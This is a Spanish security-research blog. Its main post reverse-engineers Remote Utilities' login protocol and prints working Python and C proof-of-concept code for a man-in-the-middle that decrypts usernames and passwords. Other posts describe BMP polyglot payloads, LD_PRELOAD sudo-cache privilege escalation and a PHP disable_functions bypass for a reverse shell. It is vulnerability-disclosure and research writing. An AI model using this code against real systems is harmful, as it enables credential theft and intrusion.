miércoles, 17 de agosto de 2016

Remote Utilities: obteniendo credenciales en texto claro

¡Saludos!

    Hace un par de meses estuve buscando vulnerabilidades en mi tiempo libre en algunos programas de administración remota (DameWare, Remote Utilities, etc.). Si bien en el caso de DameWare únicamente conseguí denegaciones de servicio, en el caso de Remote Utilities sí que encontré algo que era más interesante: la posibilidad de, a través de un MitM, obtener los credenciales de un usuario en texto claro. La intención de este post es la de relatar los pasos que seguí para encontrar la vulnerabilidad y explotarla.


    En primer lugar creo que sería adecuado dar un poco de contexto. El software objetivo, "Remote Utilities" (http://www.remoteutilities.es/), es una herramienta de administración remota (como Team Viewer, Join.me, DameWare, etc.) compuesta por dos partes: un servidor ("host") y un agente que se conecta ("viewer") al servidor. Tal y como se puede leer en la pestaña "Seguridad" de la web, todo el tráfico entre viewer  y servidor se encuentra cifrado:

      Remote Utilities incluye diversas opciones de seguridad, para proteger la inviolabilidad de la contraseña y el tráfico entre los módulos del programa:

    Encriptación. Todos los datos transferidos a la red son encriptados con los algoritmos de encriptación segura (una clave pública de 2048 bits y AES con una clave de sesión de 256 bits).
  
     En primer lugar lo que hice fue crear un entorno de pruebas donde instalar la última versión del software en dos VMs, un para el host y otro para el viewer. La versión analizada fue la 6.3.0.6.



   Una vez creado el laboratorio procedí a conectar varias veces con el host, y a capturar el tráfico intercambiado. Para esto suelo utilizar frida ( http://www.frida.re/), y en vez de sniffar, lo que hago es hookear las llamadas a send y recvs. Tengo hecho un pequeño script llamado Aker que me permite después analizar ese tráfico, reproducirlo, o generar un pequeño fuzzer creando plantillas a partir de lo que ha interceptado.
JavaScript para extraer info de los send() y recv()
  Lo más básico, y primer paso para el análisis, es volcarlo todo en un HTML y empezar a buscar patrones.

Tráfico desde el servidor. Click para ampliar la imagen.
  En este caso hemos hookeado el host y vemos en rojo el tráfico entrante, que procede del viewer, y en verde el tráfico saliente (la respuesta del host). Para poder graficarlo más fácilmente lo muestro en hexadecimal.

   Si empezamos a analizar " a grano gordo" vemos que la comunicación la inicia el viewer enviando el siguiente paquete:

0000000400000002000000037b41393344464339462d343036352d344245362d424345342d3034334645433645444445457d0d0a000....000

  Podemos diseccionarlo de la siguiente forma:

00000004
00000002
00000003
7b41393344464339462d343036352d344245362d424345342d3034334645433645444445457d
0d0a
000...000

   A ojo podemos ver unos primeros numeros sueltos que podrían corresponderse con códigos para identificar cómo procesar el paquete, sizers, o cualquier otra cosa. Después un churro ascii, un salto de línea y null bytes. El ascii se corresponde con lo que podría ser un identificador del cliente:

{A93DFC9F-4065-4BE6-BCE4-043FEC6EDDEE}

   Posteriormente hay un intercambio de diferentes datos que no llaman la atención hasta que el servidor manda:

  300030003000430032003900360041003700440032004500

Que se traduce por:

000C296A7D2E

Y es la mac del servidor. Un par de paquetes más tarde el servidor manda un paquete clave:

0602000000a4000052534131000800000100010041b1a78b70ab960e7cb951ad4e0861bdfa8a4194ff3954ce66c615052d7537468f7ed68ce8475b2aa4e374d9b0e6634116d646c84a5798f804cda033d96b916bebcea52868c6301a1ec6ad8389da9c868d5b89f72422d170c7937970c7192d33d320046fb2da864f325b37511ed4e6974d66ddb6337f2a737d6fc84f415d50604465bae2c33e76a8f2ac8aa85434bee6b4f266565473118fef8f0d26aa2cc3d48ef9d6038936df5e9f790330ce86857ff6f408bc0266e56fbaa6fa4a5ee2c686e1ea99ef121ecb175018a5c964551c617dac6dfed6bda296858f637ca5adf71d3ee8d597c4431c1afd6cf9a34ac11a6eb734801755072cbf0b15100b193ba4a9


     Es sumamente interesante, porque 52534131 es "RSA1", "10001" parece un exponente típico y después (al pasar de hexa al original) 2048 bits. Parece ser una clave RSA, lo que se corresponde con lo que anunciaban en la web del producto.  ¿ Y qué recibe como respuesta por parte del cliente?


0000010c010200001066000000a40000d7fdf335945195c0970c9f0295d7da5a90eaa5b719e668935d4fb3c8647fc6a9b6402ee9aba803feb6675b75af01570834fefe5e6afbfd8e7fd7d6fc1f7e104155d97f30203993a9faab5fe35e141afc837cf4417ce8ffb28c97716d3932e7f73c22fcf853d398fd290c1bace474e51ebd4db526c257b78c767880f1a6ae6b4e0f2bdfa78d32e7e085047b67ddcee5330d245b79e104f8caa7e34be42e9428cf5c18558540fd3e7463cb74eb7aa716347a82c02e7b8b31a09856f9448df0be51cc12aaa3d5049b3fbf36cf659621822ab22cab5e1c8d4f59cd681a430a6fd50c3f40c0b346de15f39fb54fab468b9884e7a2e5827531b8de73db78b7fdcec392


  Que podemos diseccionarlo en:

0000010c
01020000
10660000
00a40000
d7fdf335945195c0970c9f0295d7da5a90eaa5b719e668935d4fb3c8647fc6a9b6402ee9aba803feb6675b75af01570834fefe5e6afbfd8e7fd7d6fc1f7e104155d97f30203993a9faab5fe35e141afc837cf4417ce8ffb28c97716d3932e7f73c22fcf853d398fd290c1bace474e51ebd4db526c257b78c767880f1a6ae6b4e0f2bdfa78d32e7e085047b67ddcee5330d245b79e104f8caa7e34be42e9428cf5c18558540fd3e7463cb74eb7aa716347a82c02e7b8b31a09856f9448df0be51cc12aaa3d5049b3fbf36cf659621822ab22cab5e1c8d4f59cd681a430a6fd50c3f40c0b346de15f39fb54fab468b9884e7a2e5827531b8de73db78b7fdcec392

        Siendo el primer bloque un sizer y el último 256 bytes. Viendo esto, una primera hipótesis que podríamos arrojar es que el servidor le envía su clave RSA pública al cliente, el cliente genera una clave AES para la sesión, cifra ésta utilizando la clave recibida y se la envía de vuelta al servidor donde la descifra con la privada. Una vez que ambas partes conocen la clave AES, van a poder cifrar y descifrar tranquilamente.

    Lo normal es que la clave RSA enviada se mantenga constante entre diferentes conexiones con el objetivo de poder identificar sin equívoco a qué servidor se está conectando el cliente. De esta forma puedes detectar si alguien está spoofeando el servidor. Sin embargo, si probais a intentar conectar repetidas veces vereis como la clave cambia, por lo que en el caso de Remote Utilities se está generando una nueva clave RSA en cada intento de  iniciar sesión, de tal forma que el cliente no puede tener la certeza de a quien se ha conectado. ¿Alguien dijo Man-in-the-Middle?


     Antes de continuar con la idea de hacer un MitM, si seguimos un par de paquetes más, vemos que el cliente envía esto:

000000100ff8b3c3b95297f4bb5ea9caea3dacf8000000205c517b19e0cc16c1e8fde3a7fc131a5fe0beafc8d4e91b747dbce3cf1f99e149

    Que diseccionado quedaría como:

00000010
0ff8b3c3b95297f4bb5ea9caea3dacf8
00000020
5c517b19e0cc16c1e8fde3a7fc131a5fe0beafc8d4e91b747dbce3cf1f99e149

    La primera y tercera sección parecen sizers, y la segunda y cuarta parecen bloques de tamaño fijo. ¿Son datos cifrados con el AES? ¿Dos datos seguidos...? Podría tratarse del usuario y password, asi que lo que hacemos es iniciar sesión con un usuario y password que sean exactamente el mismo ("AA"). Si nuestra teoría es cierta, deberíamos de ver dos bloques del mismo tamaño y mismo contenido:

00000010
4414d41a0666342c17de2ca36208d352
00000010
4414d41a0666342c17de2ca36208d352

     Ding ding ding ¡Premio!. Ahora, si queremos saber si la primera parte es la password o el username, lo que haremos será poner una password corta ("AA" otra vez) y un username bastante largo ("BBBBBBBBBBBBBBBBBBBBB") por ejemplo. De esta forma el bloque más pequeño será el que se corresponda con la password y el más grande con el usuario  (en este caso ya os adelanto que el password es el primero y el username el segundo).

    Con toda la información que ya hemos recopilado podríamos hacer un pequeño script en python que nos pinte toda la información en bonito, diseccionando cada paquete

import binascii
import socket
import sys

host = '192.168.245.128'
port = 5650

mac = "300030003000430032003900360041003700440032004500" # Server MAC
RSA1 = "0602000000a4000052534131000800000"
pubexp = "1000100"
pubkey = "
00aa1dd855ef652274cf7364ce5f0a843635e76cba69c49a6db4fa67b96206f5ddc0aa133b3afb9d49
9d14cdc7c4ab3c0b7b35d3494523abdbf51282763783761c489a31df02672f496467b4d73a461571
32e1d9869bc74cbb34b8eda8190254d139c351a0b69ff15fffe452ee036f03355512f27ab2020492
d85b8b215785afb6a594c720363c70ace1580772892f5504cdc968e22191667974b34acc52fefae3
1c5ffa0815f627c10b59a558daf10aedc1898c19bd76e16bd77da69dbb442332e657eb95c1de3a8e
a5732240e513e4d629dbcf5727e5bd9a9ef9103cf6dcda24562225e6615ddebcc15da57af3c75f42
39afb34f303274ab5c5d5b1382236de1
"


s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
try:
        s.bind((host, port))
except socket.error as msg:
        print 'Bind failed. Error Code : ' + str(msg[0]) + ' Message ' + msg[1]
        sys.exit()
        
s.listen(10)
print '[+] Server is ready!'
print '[+] Listening for a connection...'

while 1:
        conn, addr = s.accept()
        print '[+] Client connected!'
        data = conn.recv(1024).encode("hex") # 00000004
        data = conn.recv(1024).encode("hex") # 00000002{ID}0d0a00...000
        print '[+] Client ID: ' + data[16:-4].decode("hex")
        conn.send("00000000".decode("hex"))
        data = conn.recv(1024).encode("hex") #00000309 No sabemos qué es
        conn.send(data.decode("hex"))
        conn.send("0000f61e".decode("hex"))
        conn.send("00000004".decode("hex"))
        conn.send("00000000".decode("hex"))
        data = conn.recv(1024).encode("hex") #00000000
        conn.send("00000000".decode("hex"))
        data = conn.recv(1024).encode("hex") #0000f61e0
        data = conn.recv(1024).encode("hex") #000000000
        conn.send("00000018".decode("hex"))
        print "[+] Sending Server MAC: " + ''.join(mac.decode("hex").split("\0"))
        conn.send(mac.decode("hex"))
        conn.send("00000003".decode("hex"))
        data = conn.recv(1024).encode("hex") #00000003 
        conn.send("00000114".decode("hex"))
        print "[+] Sending Server RSA Public Key: \n"
        print "- Public Exponent: " + pubexp
        print "- Public Key: \n" + pubkey
        rsa = RSA1 + pubexp + pubkey
        conn.send(rsa.decode("hex"))
        data = conn.recv(1024).encode("hex") # 0000010c
        data = conn.recv(1024).encode("hex") #Client RSA ?
        client_rsa = data[24:]
        print "\n[+] Client Response: \n" + client_rsa + "\n"
        conn.send("00000001".decode("hex"))
        conn.send("00000001".decode("hex"))
        data = conn.recv(1024).encode("hex") #Size of encrypted password
        pwd_enc_size = int(data, 16)
        print "[+] Password data: "
        print "- Encrypted size is: " + str(pwd_enc_size)
        print "- Number of blocks: " + str(pwd_enc_size / 16)
        data = conn.recv(1024).encode("hex")
        pwd_enc = data[:pwd_enc_size * 2]
        print "- Encrypted Password: " + pwd_enc
        user_enc_size = int(data[pwd_enc_size*2:8 + (pwd_enc_size*2)],16)
        print "\n[+] User data: "
        print "- Encrypted size is: " + str(user_enc_size)
        print "- Number of blocks: " + str(user_enc_size / 16)
        user_enc = data[8 + (pwd_enc_size*2):]
        print "- Encrypted Username: " + user_enc
        
        conn.send(rsa.decode("hex"))
        data = conn.recv(1024).encode("hex")
        print data
        
        raw_input()
   Montamos un MitM y hacemos la prueba:


[+] Server is ready!
[+] Listening for a connection...
[+] Client connected!
[+] Client ID: {928CF76A-10BD-4F62-8041-21B589FD87C5}
[+] Sending Server MAC: 000C296A7D2E
[+] Sending Server RSA Public Key:

- Public Exponent: 10001
- Public Key:
00aa1dd855ef652274cf7364ce5f0a843635e76cba69c49a6db4fa67b96206f5ddc0aa133b3afb9d49
9d14cdc7c4ab3c0b7b35d3494523abdbf51282763783761c489a31df02672f496467b4d73a461571
32e1d9869bc74cbb34b8eda8190254d139c351a0b69ff15fffe452ee036f03355512f27ab2020492
d85b8b215785afb6a594c720363c70ace1580772892f5504cdc968e22191667974b34acc52fefae3
1c5ffa0815f627c10b59a558daf10aedc1898c19bd76e16bd77da69dbb442332e657eb95c1de3a8e
a5732240e513e4d629dbcf5727e5bd9a9ef9103cf6dcda24562225e6615ddebcc15da57af3c75f42
39afb34f303274ab5c5d5b1382236de1


[+] Client Response:
0a37f7b295151fb30d9f3d076fbafc4d1285829f1774c3f66ad46e00057d7dd86058735e2ab2cf55
c6fe85595883a76da9ff0b59758863e6986d0c63d5260547ab9f8c2d660dca7852d5fdabfd6e9a8b
9fb46d93a3f6e74f273cfc3650af5f11d68a731359f71223f79cc77034d176dcc006c32fceb18ee9
a319432648489916359a73d05a1ae1c093299e3e873bc0b024989599261a7a8cc31ce6ca770e1893
dd2dd06e89bb0c24f7d4df73dd0702762aa6c2f36c48a7f09811e998068e1688d282016498337b32
f9a50acd3f26951656e8a29af093a8b52103c731ceda68617fefc1caecba922dd4e110ef4408329c
714774931e1e3f3462a3095f69ba8d9c

[+] Password data:
- Encrypted size is: 16
- Number of blocks: 1
- Encrypted Password: 1ec1117fd7bf0ced262a3bab342803e4

[+] User data:
- Encrypted size is: 16
- Number of blocks: 1
- Encrypted Username: 1ec1117fd7bf0ced262a3bab342803e4
     En esta primera parte del post hemos estando analizando de forma periférica cómo realiza el inicio de sesión Remote Utilities. Trabajando "a ciegas" y sin mirar las entrañas del programa  hemos conseguido entender el funcionamiento y poder crearnos un "traductor" que nos permita obtener la información más relevante del proceso, e incluso vislumbrar una posible vulnerabilidad que nos va a permitir hacer un MitM sin que el cliente se entere.

   Con toda esta info estuve intentando montar un PoC con Xassiz que consistía básicamente en generar un par de claves RSA con OpenSSL y pasarsela la pública al cliente para poder después descifrar todo. La primera idea, y nos salió mal: no conseguimos hacerlo funcionar de esa forma. El segundo asalto fue más fructífero, cambiando el enfoque.


     Si os fijasteis en el paquete que mandaba el servidor con la clave pública RSA aparecía en ascii el texto "RSA1". Si lo googleamos llegamos hasta este enlace de MSDN https://msdn.microsoft.com/es-es/library/windows/desktop/aa387685(v=vs.85).aspx donde aparece la descripción de la estructura "RSAPUBKEY":
  Esto se parece al paquete que hemos visto. ¿Y si lo que hacemos es un programa en C que sea el que genere las mismas estructuras que está esperando el cliente y lo usamos para descifrar? Dicho y hecho. Monitoree todas las funciones (y con qué argumentos) que se utilizan para la parte de criptografía utilizando la herramienta API Monitor. Con esta info un compañero de trabajo, Nico, me hizo un pequeño programa en C que implementaba las mismas llamadas que se hacía en el software original.


#define PORT "7777"
#define BUFFER_LEN 4096




LPBYTE exportPubKey(HCRYPTKEY hKey) {
        LPBYTE buffer;
        DWORD filesize;
        if (CryptExportKey(hKey, 0, PUBLICKEYBLOB, 0, NULL, &filesize)) {
                printf("key size: %lu\n", filesize);
        }
        else {
                printf("error: %lx\n", GetLastError());
                return 0;
        }
        if (buffer = (LPBYTE)malloc(filesize))
        {
                printf("Memory has been allocated for the BLOB. \n");
        }
        else
        {
                printf("Out of memory. \n");
                return NULL;
        }
        if (CryptExportKey(hKey, 0, PUBLICKEYBLOB, 0, buffer, &filesize)) {
                /*unsigned int i;
                for (i = 0; i < filesize; i++) {
                        printf("%.2x ", buffer[i]);
                }
                printf("\n");*/
                return buffer;
        }
        else {
                return NULL;
        }
}


//CryptExportKey ( 0x00182318, NULL, PUBLICKEYBLOB, 0, 0x0184e230, 0x01a6fcdc )
//CryptImportKey ( 0x0018cdf0, 0x0183dda0, 268, 0x00182318, 0, 0x01a6fcec )

int main()
{
        char aescrypted[2048];
        char *test;
        unsigned int i;
        char recvbuf[BUFFER_LEN];
        HCRYPTPROV hProv;
        CryptAcquireContextW(&hProv, 0, 0, 24, 4026531840);
        HCRYPTKEY hKey;
        if (CryptGenKey(hProv, 1, 134217728 | CRYPT_EXPORTABLE, &hKey)) {
                printf("Session key created\n");
        }
        LPBYTE buffer = exportPubKey(hKey);



        WSADATA data;
        WSAStartup(MAKEWORD(2, 2), &data);
        struct addrinfo hints;
        ZeroMemory(&hints, sizeof(hints));
        hints.ai_family = AF_INET;
        hints.ai_socktype = SOCK_STREAM;
        hints.ai_protocol = IPPROTO_TCP;
        hints.ai_flags = AI_PASSIVE;
        struct addrinfo *result = NULL;
        int iResult = getaddrinfo(NULL, PORT, &hints, &result);
        printf("%d\n", iResult);
        SOCKET listenSocket = socket(result->ai_family, result->ai_socktype, result->ai_protocol);
        iResult = bind(listenSocket, result->ai_addr, (int)result->ai_addrlen);
        freeaddrinfo(result);
        iResult = listen(listenSocket, SOMAXCONN);
        SOCKET clientSocket = accept(listenSocket, NULL, NULL);
        iResult = recv(clientSocket, recvbuf, BUFFER_LEN, 0);

        test = (char*)buffer;
        iResult = send(clientSocket, test, 276, 0); //Send RSA public key
        printf("\n[+] RSA Public key sent");
        iResult = recv(clientSocket, recvbuf, 576, 0); //Get encrypted AES KEY
        printf("\n[+] Client encrypted AES key received\n");
        
        HCRYPTKEY aesKey;
        if (CryptImportKey(hProv, (BYTE *)recvbuf, 268, hKey, 0, &aesKey)) {
                printf("[+] Imported AES Key!\n");
        }
        else {
                printf("[-] Can't get AES key\n");
                printf("%lx", GetLastError());
                return 0;
        }

        
        iResult = recv(clientSocket, recvbuf, 576, 0);
        DWORD cryptedLen = (DWORD)iResult;
        
        if (CryptDecrypt(aesKey, NULL, TRUE, 0, (BYTE *)recvbuf, &cryptedLen)) {
                printf("[+] Password successfully decrypted\n");
        }
        else {
                printf("[-] Error\n");
                printf("%lx", GetLastError());
                return 0;
        } 
        iResult = send(clientSocket, recvbuf, iResult, 0);
        iResult = recv(clientSocket, recvbuf, 576, 0);
        cryptedLen = (DWORD)iResult;

        if (CryptDecrypt(aesKey, NULL, TRUE, 0, (BYTE *)recvbuf, &cryptedLen)) {
                printf("[+] User successfully decrypted\n");
        }
        else {
                printf("[-] Error\n");
                printf("%lx", GetLastError());
                return 0;
        }
        iResult = send(clientSocket, recvbuf, iResult, 0);
        printf("\n");
        free(buffer);
        return TRUE;
}


    Básicamente lo que tendremos que hacer es interceptar la comunicación entre el servidor, enviarle nuestra clave RSA pública, esperar a que nos mande su clave AES cifrada con nuestra pública. Con la privada la desciframos y ya podremos descifrar la contraseña y usuario que nos envíe (el script en python se comunica por sockets con el programa en C que se va a encargar del cifrado)
C:\Users\h4ck1ng\Desktop>python server.py
[+] Server is ready!
[+] Listening for a connection...
[+] Client connected!
[+] Client ID: {B437E691-F808-4E75-A62C-4507B0F21275}
[+] Sending Server MAC: 000C29BE02A6
[+] Sending Server RSA Public BLOB

0602000000a4000052534131000800000100010055f35dd43495fbdb4d1615043ce374d01a698e95
d09d380d796a32113731dfa6426e6bf01add7e0f0360edae4a56475d4a506194604f15fec1f4945d
4da8e6bebd369cf37d993ecb4dfa8e6a441e7e73bd279a1e8f90b1025eb530b3b3f0ea7a68b665b2
3ff091ac66429564293c57f655ff33ece4fa1ee2828e0763f0b1f22f4f7c61dce454e5f90cbdd24b
59ace4103fbfdb48fe9e884d91a187ff87c9b798d9772b15465c99a14c5865635d52e5e1cc8f2e7c
d2e2b4c517d09d3b77593b32d449abe312ad88851bc4683587d2f85b43ab9b71078a85978a3e99d7
7c90db3887a75b1a1ad32a5b1bdd420e53b73046d982c87820cffe24eea3986185ab689f

[+] Client Response:
010200001066000000a40000968b7caf5207a720809b619ea1a07831dd57bdb592ffc8c70c20a677
79c3e09e602c9327778abf246453def5b23e2c078e81752adb039606918615831d8185a660bb67df
717c08c95f5cdcd35972632ff377c82274561e9ee52dbf5d9626bc9f42824023a14a48f7a00c2bdb
df3347f7db86ae6fb50c29d627344c3c82443158c7de67fde70700dbe35a5128690a00501d7c24ce
6b8b05a6fb3fed1401ae9b6db2ebb66cea157c1e65a564af0420307426f7a20ead7ed513f28b2836
d89c0249e3614ec6a33b97c973fceab6c509519b40c8b3120abae10a0a2944c739590abd7ede5f2e
ef19bee051d084e4a2cce12835dfad56b44b53d9a1f9f596dcdbf05f

[+] Password data:
- Encrypted size is: 32
- Number of blocks: 2
- Encrypted Password: cbc3191b0d985fb10a1b5535d2a219c1a71ccdd3519bae53089abb1547
ba8e92
- Decrypted Password: Mypassword

[+] User data:
- Encrypted size is: 32
- Number of blocks: 2
- Encrypted Username: df0f831a77d4a3abae3cf2097bbb2ef5a3f25a33e828791247f24b2c99
b80bad
- Decrypted Username: MyUsername
  ¡Ya tenemos los credenciales para poder conectar al servidor!


       El 2 de Julio contacté con los desarrolladores para reportarles la vulnerabilidad y enviarles el PoC. Me contestaron que esto se podría evitar con una opción de configuración que posee, donde se añade una cadena (de aspecto bastante similar a lo que he denominado en el script "Client ID") que se utiliza como base para generar unos valores que se intercambian entre el cliente y el servidor a fin de verificar su identidad. El problema está en que esta verificación se realiza al comienzo del inicio de sesión, pero el resto del proceso donde se intercambian las claves criptográficas sigue siendo exactamente el mismo. Un atacante simplemente necestiaría actuar como un proxy transparente durante este intercambio y actuar justo en el momento de enviar la clave del servidor, suplantando al original.

Byt3z!

5 0verl0ad Labs: 2016 ¡Saludos!     Hace un par de meses estuve buscando vulnerabilidades en mi tiempo libre en algunos programas de administración remota (Dame...

sábado, 18 de junio de 2016

Bypassing de filtros mediante archivos BMP

¡Saludos!

    Después de la prueba del PixelShop del PlaidCTF he tenido ganas de trastear un poco con ficheros políglotas ( recomiendo encareciedamente echar un vistazo a esta presentación de Ange Albertini al respecto => https://events.ccc.de/congress/2014/Fahrplan/system/attachments/2562/original/Funky_File_Formats.pdf ).

   La prueba de PixelShop se resolvía embebiendo un payload dentro de un PNG, el cual lo creabas "a mano" (en realidad podías meter todos los valores en un JSON directamente) cogiendo pixeles como si se tratase de hama beads.





  
     Al introducir los píxeles adecuados, los bytes de la imagen conformaban un zip que podía ser cargado desde un LFI y así tener una webshell desde la que obtener el flag. Hay un post muy interesante sobre embeber webshells en los IDAT de los PNGs que recoge esta misma idea => https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/

    Esta mañana me he acordado que había leído hace mucho tiempo de cómo conseguir una shell desde paint, creando una imagen BMP y pintandola con unos colores concretos ( http://www.flu-project.com/2012/06/como-obtener-una-shell-con-el-paint_11.html). Si probamos a crear una imagen con esos mismos valores, veremos cómo nos spawnea una shell:


God Bless Python



La renombramos a shell.bat y ¡pum!
Imagen ampliada. 6x1 píxeles no llegan a verse :P

  Bien, parece que no nos engañaban. Por algún tipo de arte arcano maldito hemos pintado una imagen y hemos obtenido una shell interactiva. ¿Qué está pasando aquí? Veamos el contenido de la imagen:



Misterio resuelto
   Resulta que esa combinación de colores se traduce en saltos de línea y un "cmd.exe". Los archivos .bat son en realidad lotes de comandos, por lo que se ejecutan línea  a línea y da igual si la línea anterior no tiene sentido. Si se vuelve a observar la imagen vemos que intentó ejecutar un primer comando sin sentido, y despues hizo un cmd.exe, que es lo que nos ha dado el premio.
  
     En el caso del formato BMP, cada píxel es almacenado en forma de array donde (en el caso de 24bits RGB) la información de cada píxel aparece subdivida en 3 valores (entre 0 y 255) que se corresponden con la información para el rojo, verde y azul. Por lo tanto por cada píxeles vamos a tener 3 valores entre 0 y 255. O, si lo vemos desde otra perspectiva, vamos a poder guardar 3 caracteres en cada píxel.

   Ésto es lo que básicamente hacemos con el paint: pasarle valores decimales, que serán pasados a hexa y darán caracteres para formar el salto de línea (0d0a) y el cmd.exe. Pero, si prestamos atención a los valores que nos piden colocar en cada color, el orden es diferente al que despues vemos. Esto es porque en realidad se almacenan en orden "B G R".  Conociendo esto, podemos picarnos un ñapa-script que nos permita meter como píxeles cualquier valor (o archivo):

https://github.com/0verl0ad/polyglot-PoC/blob/master/polybmp.py
   Con este simple script podemos embeber texto (para introducir una webshell, por ejemplo, o hacer .bat más complejos) u otros formatos que cuyos parsers sean más laxos (por ejemplo el caso de los ZIP, que empiezan a detectarse las firmas desde el final):

Funciona con casi todos los parsers. El wrapper de PHP se resiste :(
Metiendole un par de líneas más podemos hacer que nos imprima qué colores deberíamos de usar en paint si queremos obtener el mismo fichero a mano:


Ahora bien, ¿para qué nos sirve esto? Almacenar los payloads dentro de los propios pixeles permiten tener un archivo políglota, siendo un BMP a todos los efectos. De esta forma ningún filtro puede bloquearlo, y mejor aún, si lo que intenta hacer el filtro es reconstruir la imagen pixel a pixel, la imagen resultante seguirá teniendo nuestro payload. Eso es una ventaja frente a incluirlo como un apéndice al final del fichero o en los metadatos, ya que en estos casos se perdería.


Byt3z!




5 0verl0ad Labs: 2016 ¡Saludos!     Después de la prueba del PixelShop del PlaidCTF he tenido ganas de trastear un poco con ficheros políglotas ( recomiendo enc...

lunes, 28 de marzo de 2016

Abusando la caché de sudo con LD_PRELOAD

¡Saludos!

    Trasteando con LD_PRELOAD para hacerme un pequeño rootkit he estado probando esos pequeños trucos para escalar privilegios localmente sin utilizar ningún exploit -únicamente tirar de "picaresca"-. Me he topado con este post https://blog.maleadt.net/2015/02/25/sudo-escalation/ donde explican uno de estos trucos.

    Basicamente consiste en abusar de la caché que utiliza sudo para almacenar los credenciales y no estar continuamente solicitandotelas cada vez que lo ejecutes. Por defecto si hacemos un "sudo apt-get upgrade" y después un "sudo id", la segunda vez no nos pedirá la contraseña y ejecutará el comando "id" como root. Pero... ¿qué pasa si después del "sudo apt...." hago un "./foo", y dentro de ese foo se ejecuta un "sudo id" ? ¿pide o no pide la contraseña? :)

    Pues ahí está la trampa. Suponiendo un escenario donde podemos editar ficheros del usuario (por ejemplo, editar el .bashrc/.zshrc/whatever) podremos hacer que automáticamente setee la variable LD_PRELOAD a nuestra librería maliciosa. Lo que tendrá que hacer nuestra librería será hookear una función que se llame bastante (open(), por ejemplo) y comprobar contínuamente si la contraseña sigue estando en la caché. En caso afirmativo procede a ejecutar "sudo algo-muy-malo" (por ejemplo, añade un usuario backdoor al sistema), o en caso contrario no hagas nada.


    Un PoC funcional (basado en el del post que puse más arriba) podría ser este (añadid cabeceras :) ):






   Básicamente forkeamos, el hijo comprueba si nos va a pedir password o no, si no pide password forkeate y ejecutame un "id" con sudo. Por último hacemos un return con lo que estan esperando para no romper la funcionalidad:



  El truco probablemente sea muy viejo, pero me parece que es una de esas cosas que es bueno dejar por el blog para tenerlo en la mochila por si alguna vez fuera necesario.


Byt3z!





5 0verl0ad Labs: 2016 ¡Saludos!     Trasteando con LD_PRELOAD para hacerme un pequeño rootkit he estado probando esos pequeños trucos para escalar privilegios l...

lunes, 21 de marzo de 2016

Bypassing disable_functions y open_basedir en PHP

¡Saludos!

      A raíz de un CTF descubrí esta pequeña triquiñuela para bypassear estas protecciones. Si alguien quiere leer el write up completo que hizo nuestro compañero @cgvwzq de ka0labs lo teneis en  https://blog.ka0labs.net/post/33/ , es bastante interesante.


      Por ponernos en contexto, open_basedir va limitar las rutas a las que vamos a poder acceder desde nuestro PHP, lo que se traduce de forma efectiva en que estamos "enjaulados" en cuanto a sitios donde poder tocar: no podríamos, por ejemplo, leer un archivo que está en un nivel superior a la cota marcada por esta directiva.

     En el otro lado tenemos disable_functions que es utilizada para evitar el abuso de las funciones system(), exec(), proc_open(), etc. En el momento en el que se meten en la lista negra TODAS las funciones que permiten ejecución de comandos / programas nuestra webshell está extremadamente limitada, puesto que únicamente vamos a poder crear archivos dentro de lo que permita open_basedir pero no ejecutarlos. Necesitamos bypassear estas protecciones de alguna forma para saltar de un eval() a un system().

     El concepto es bastante viejo, al aparecer, y viene reflejado en este ticket abierto en el bugtracker de PHP en 2008 (https://bugs.php.net/bug.php?id=46741). La idea es utilizar LD_PRELOAD para cargar una librería que haga el bypass. Seguro que estás pensando algo tipo "WTF???? LD_PRELOAD EN UN PHP??????". Vayamos por partes.

    En primer lugar setear la variable de entorno LD_PRELOAD nos va a permitir hookear cualquier función que proceda de una librería linkada dinámicamente. Al setear LD_PRELOAD con putenv cualquier programa que ejecutemos desde este PHP va a tener ya esta variable de entorno y podremos hookealo. Ahora bien, ¿si el problema que teníamos era que no podíamos ejecutar nada, cómo diablos arregla esto el problema? La magia de PHP y la función mail().

  Si consultamos la documentación de PHP nos encontramos con este bonito párrafo:

Nota:
La implementación en Windows de mail() difiere bastante de la implementación en Unix. Primero, no usa un binario local para componer mensajes ya que sólo opera en sockets directos, lo que significa que es necesario un MTA escuchando en un socket de red (que puede estar tanto en localhost como en una máquina remota). 


        O sea, que mail() en realidad llama a un binario para mandar el e-mail en el caso de Linux, concretamente ejecuta (por defecto, esto se puede cambiar en php.ini) el enlace simbólico /usr/sbin/sendmail. Oh la lá! ¡Ya estamos ejecutando un programa externo desde nuestro PHP, y cuando ejecute /usr/sbin/sendmail podremos hookear sus fuciones con LD_PRELOAD y nuestra librería molona! Localicemos alguna función golosa con strace:

   
       Ese geteuid() parece bastante goloso. Nos picamos una cutre librería que levante una shell inversa al llamar a esta función, y en el PHP con putenv y mail hacemos la magia.


He picado un pequeño PoC ( https://github.com/0verl0ad/sifilis-PoC ) para que se vea fácilmente como chutaría (editad al gusto).

      Espero que os sea de utilidad en vuestros test de intrusión ;)


Byt3z!
5 0verl0ad Labs: 2016 ¡Saludos!       A raíz de un CTF descubrí esta pequeña triquiñuela para bypassear estas protecciones. Si alguien quiere leer el write up c...

lunes, 14 de marzo de 2016

Ka0labs challenges: retos para todos

¡Saludos!

         En Ka0labs tenemos una pequeña plataforma donde cada pocos días estamos subiendo nuevos retos, por lo que es interesante echarle un ojo cada semana. Los retos están planteandos en un formato jeopardy separados por las categorías clásicas (miscelanea, criptografía, programación, reversing, forense, exploiting, web y trivial). Puedes participar sin registrarte, pero si deseas aparecer en el scoreboard tienes que hacerlo.

Os dejo la URL:

https://challenges.ka0labs.org/home





Byt3z!
5 0verl0ad Labs: 2016 ¡Saludos!          En Ka0labs tenemos una pequeña plataforma donde cada pocos días estamos subiendo nuevos retos, por lo que es interesant...

miércoles, 20 de enero de 2016

Descifrando (y manipulando) las bases de datos de MalwareBytes Anti-Malware

¡Saludos!


Edit: se han eliminado las referencias donde aparecía la cadena por esto =>  https://code.google.com/p/google-security-research/issues/detail?id=714

  El verano pasado, analizando un día el tráfico que generaba un dispositivo con Android, me percaté una de serie de peticiones que estaba realizando la aplicación de Malwarebytes AntiMalware. Estas peticiones se estaban realizando a través de HTTP, por lo que era fácil echando un ojo a simple vista ver de qué se trataba:


